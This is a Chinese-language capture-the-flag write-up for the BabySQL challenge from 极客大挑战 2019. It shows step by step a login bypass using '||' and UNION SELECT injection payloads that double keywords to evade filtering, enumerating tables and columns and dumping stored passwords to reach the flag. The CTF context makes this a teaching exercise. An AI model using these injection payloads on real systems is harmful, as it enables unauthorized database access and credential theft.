[极客大挑战 2019]BabySQL 1新手解题过程

1、使用万能密码登录

显示错误,而且or好像是被过滤了

将or换为||,登录成功

2、查询字段个数,由于存在or过滤,所以无法使用order by 来判断,因此采用拼接字符绕过,进行联合查询

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

3、查表

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

4、查询表字段

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

5、爆破数据

复制代码
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23
复制代码
flag{efd91e9e-a5e3-47ee-acc1-ccd6aef806b9}
相关推荐
程序员小八7776 小时前
MySQL 事务:一文把 ACID、隔离级别、MVCC、锁全串起来
数据库·mysql
lzhdim7 小时前
提高 SQL 语句执行速度的方法
java·开发语言·数据库·sql·oracle
ltl7 小时前
ClickHouse Distributed 引擎与分布式查询路由
数据库
Wang's Blog7 小时前
PostgreSQL笔记60: 权限与角色管理——从层级体系到最佳实践
数据库·笔记·postgresql
whcyhhh8 小时前
头歌实践教学平台:大数据存储2023(六)
大数据·数据库·python
Elastic 中国社区官方博客9 小时前
让大模型思考,让小模型执行:在 Elastic Workflows 中拆分 LLM 成本
大数据·运维·数据库·人工智能·elasticsearch·ai
Faith_xzc10 小时前
一条 SQL 顶一条 Flink 链路?Doris Streaming Job 持续导入全景解析
大数据·数据库·sql·flink
这个DBA有点耶12 小时前
多模数据库深度解读:从“多库拼装”到“一库多能”的架构演进
数据库·mysql·dba
程序员夏洛13 小时前
MySQL 默认的事务隔离级别是什么?为什么选择这个级别?
数据库·mysql
艺术留白13 小时前
MokaTest使用篇-SQL接口
数据库·sql